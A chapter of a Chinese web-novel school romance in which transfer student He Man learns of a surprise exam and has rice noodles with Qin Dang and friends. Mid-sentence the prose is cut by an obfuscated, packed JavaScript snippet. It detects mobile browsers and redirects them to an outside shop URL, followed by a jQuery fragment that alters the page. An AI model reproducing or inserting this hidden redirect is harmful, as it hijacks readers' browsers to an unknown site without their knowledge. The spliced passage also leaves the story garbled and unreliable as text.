何满刚张开嘴,还没来得及发出声音,下课铃声响起,顿时传来此起彼伏的凳子摩擦地面的声音。
外面走廊上是脚跺地震天响的“咚咚咚”的跑步声以及高昂亢奋的交谈声。
何满被这架势吓住,还没反应过来怎么回事身边人就少了一大半,欧阳婧也夹着自己的文件夹慢悠悠离开了教室。
“不是,什么情况?”何满看向端坐着的秦荡。
整个教室不受影响的人不多,除了秦荡只有三五个。
秦荡把自己的笔一根一根放回笔袋,说:“去食堂,排队越早选择越多,没见过?”
何满把习题册合上,摇头道:“没有,我之前学校的餐厅是那种很多店面排在一起的,有点类似于小吃街,不存在——呃——选择多少的问题。而且我一般回家吃。”
秦荡不知想到什么,轻轻浅浅笑了一声。
何满敏锐捕捉到,一边和他并肩往外走,一边问:“你笑什么?”
“没什么。”秦荡敛住笑。
“我不信,你就说说嘛,肯定和我有关系。”何满追问。
因为已经把秦荡当做朋友了,所以她语气很轻松,不像刚认识时那样热情中带着一丝拘谨。
秦荡瞥她一眼:“确定想知道?”
“嗯嗯。”何满小鸡啄米般点头。
秦荡便如实开口:“我在想,你这算不算千金大小姐来体验生活了。”
何满步子不明显的一顿,她压下眼底的情绪,笑道:“你才千金大小姐呢!”
“不是吗?”秦荡难得染上笑意。
“不是。”何满斩钉截铁地否定。
“行吧,你说不是就不是。”秦荡单手拿着校服外套,说,“先去找温致繁他们。”
“去哪?”何满好奇地问道。
“一般在东门集合。”秦荡从口袋里摸出手机,看了眼消息,说,“温致繁和温乐繁下课早,他们已经选好餐馆了,我们直接过去吧。”
“好。”何满点头,又想起来在教室里被下课铃声打断的问题,问,“不是,刚刚班主任说明天考试,抓紧复习?”
“嗯。”秦荡点头,像是料到她会问这个问题,主动解释道,“这是火箭班和实验班的惯例,开学第二天考试。”
何满皱了皱眉,又问:“那就是考上一学期学的内容?”
她刚来第一天,上学期的学习内容一遍都没有浏览完,怎么考试?
然而秦荡接下来的话更是一盆冷水。
他似乎是思考了一会儿,说:“你这么说的话也没问题,因为上学期确实学了一些高二年级的内容。”
“什么意思?”何满缓缓转头,像是不想相信自己的猜测,看着秦荡,问。
“今天领教材你也看到了。”秦荡耐下心来解释,“比如数学吧,发的是必修三,实际上这学期再学是学选修一。火箭班进度快,基本上高二上学期结束就能把教材基本过完一遍。”
何满差点原地石化。
她原来的学校并不一味求快,相对来说还是比较按部就班的,现在一下子告诉她跨过必修三和必修四直接学选修一,饶是她天资聪颖,也不可能在一晚上学会全部知识点,更何况不止数学一门课,而现在的教材和她原来学习的不一样更是雪上加霜。
“你可以借裴承懿的笔记看看,他成绩好,应该都有。”秦荡出声提醒。
“行吧。”何满生无可恋地说道。
有总比没有好。
自从知道了这个天杀的消息,何满就有点精神不振。
她是享受解出答案的快感,但绝对没有受虐倾向。
两个人按着温致繁给的位置过去坐下,温致繁和温乐繁已经在等着了,裴承懿下课晚,还没到,在群里发消息说帮他点一份番茄米线。
他们似乎是这家店的常客,和老板很熟。
“你吃米线还是朝鲜面?”温乐繁坐在何满对面,问。
她和温致繁坐一起,何满便和秦荡挨着。
“米线吧。”何满抬头看向墙壁,“嗯——拿一份素米线吧,少放一点辣。”
餐馆没有菜单,种类都在墙壁上用一张大海报张贴着,每个桌上放着一摞便签和一支笔,客人自己写好要什么后送给老板娘。
温致繁点头,重复道:“一份素米线少放辣,葱和香菜要么?”
何满略一想,说:“嗯,少放一点吧。”
温致繁在便签上写下,说:“懿哥是番茄米线不要葱,温乐繁和我吃朝鲜面,荡哥你吃什么?还是原味米线么?”
“嗯。”秦荡闲散靠在椅背上玩着手机,应道。
温致繁把便签递过去,裴承懿在第一碗米线上桌之前赶到。
他坐到秦荡身边,说:“诶,你们分班了吧?都在几班?”
温致繁一脸庆幸:“终于不和温乐繁同班了,我俩隔壁,我45她46。”
两个人都是实验班。
温乐繁翻了个白眼,一脸无语,说:“搞得和我多么想和你一个班一样。”
温乐繁和温致繁是典型的姐弟互相嫌弃日常互怼版,谁也没服过谁。
裴承懿笑了笑,说:“挺好的,阿荡和阿满呢?”
“一个班。”秦荡开口。
“同桌。”何满补充。
两人一唱一和,竟也默契又和谐。
“哇!这么巧!”温致繁瞪大眼,说,“荡哥这是不是你唯一一个同桌?”
何满听到这话,有些诧异。
秦荡似是认真回想了一下,说:“不是,高一刚开学有一个。”
何满好奇地问:“也是49班的么?”
秦荡正在玩微信小程序里的弱智闯关小游戏,闻言顿了一下,说:“曾经是。”
何满正想问是不是转班了,又听秦荡开口:“后来被我打走了,去了实验班。”
?
何满实在没料到还有这一层,她想起任素英说过的话,隐约猜到大概是和秦荡的家庭有关,以及为什么49班的人看起来那么怕他。
而按照上一个同桌的下场,她就相当于主动坐到了活阎王的身边。当初同学们或多或少惊讶的眼神也就不难理解了。
何满在心里悄悄舒了口气。
幸好有外婆这个“保护伞”,她不至于戴有色
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13355341|140702||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
眼镜去评判秦荡,秦荡也不会对她拳脚相向。
秦荡不知道何满在想什么,只以为她被吓住了,想了想,说:“放心,我不会打你的。”
略为沉默的气氛一下子被打破,温致繁和温乐繁哈哈大笑,连裴承懿也挂上浅笑。
何满朝秦荡扯起一个极为敷衍的笑容:“谢谢秦大佬高抬贵手。”
……
小餐馆里人流量大,基本都是清集中学的学生,一大片校服中偶尔穿插着工人或过路人。
老板娘送面的时候,瞧着何满眼生,笑道:“带新朋友过来啦?”
“嗯嗯。”温乐繁迫不及待拿起筷子,说,“想让她尝尝您家的手艺。”
老板娘乐成一朵花,说:“好吃常来,今天给你们半价。”
裴承懿连连摆手:“没事儿阿姨,我们按原价付就可以。”
老板娘忙着招待其他客人,临走前坚持道:“半价啊。”
何满在他们说话的时候已经夹起米线尝了一口,味道确实不错。
“怎么样,好吃吧?”温乐繁问。
“嗯嗯好吃。”何满点头称赞。
但她胃口本来就小,天气又热,再加上心里还被考试烦着,没吃几口就放下了筷子,一整份米线几乎看不出什么变化。
裴承懿隔着秦荡看了她一眼,问:“阿满饱了?”
“嗯,不怎么饿。”何满点头,问裴承懿,“懿哥,你还有高二时候的笔记吗?”
说完,她觉得这样说太笼统了,又问秦荡:“秦荡,我们数物化生都考哪些啊?”
秦荡停下筷子,说:“每年老师们的进度都大差不差——懿哥,你高二的笔记都借何满看看吧,明天考试。”
裴承懿爽快点头:“可以,那你今天下午来——算了,大课间的时候我给你送过去吧。”
何满连连摆手:“没事儿没事儿,我去拿就行。”
高三生时间宝贵,这是众所周知的事情,实在不能让裴承懿为了这种小事浪费时间。
“我怕你不知道路。”裴承懿道。
何满扬起一个笑来:“秦荡今上午给我大体介绍了一下,你们的教学搂我还是能找到的。”
温致繁闻言插了一嘴,说:“荡哥咋这么勤快啦?”
温乐繁一巴掌呼他脑门儿上:“没点儿眼力见儿,就你会说话?”
温致繁炸毛:“啊啊啊温乐繁你不准打我头!本来知识就不多全被你砸出来了!再说了我问问还不行嘛!”
温乐繁往他碗里扔了一个丸子:“吃吧你,吃还堵不上你的嘴。”
何满眨眨眼,看向秦荡。
秦荡被她看的不自在,轻咳了一声,说:“问题不大,不用在意这些小事情。”
“哦。”何满果真不再问,又对裴承懿说,“懿哥,我自己去拿就行,真的。”
她眼神太过真诚,裴承懿见状便不再坚持,说:“那行,我在49班,你到时候来找我。”
何满点头应下,想,懿哥一个理科生,看起来还这么有书卷气。
五个人吃完饭,正要去公交站牌处,何满的微信视频铃声响起。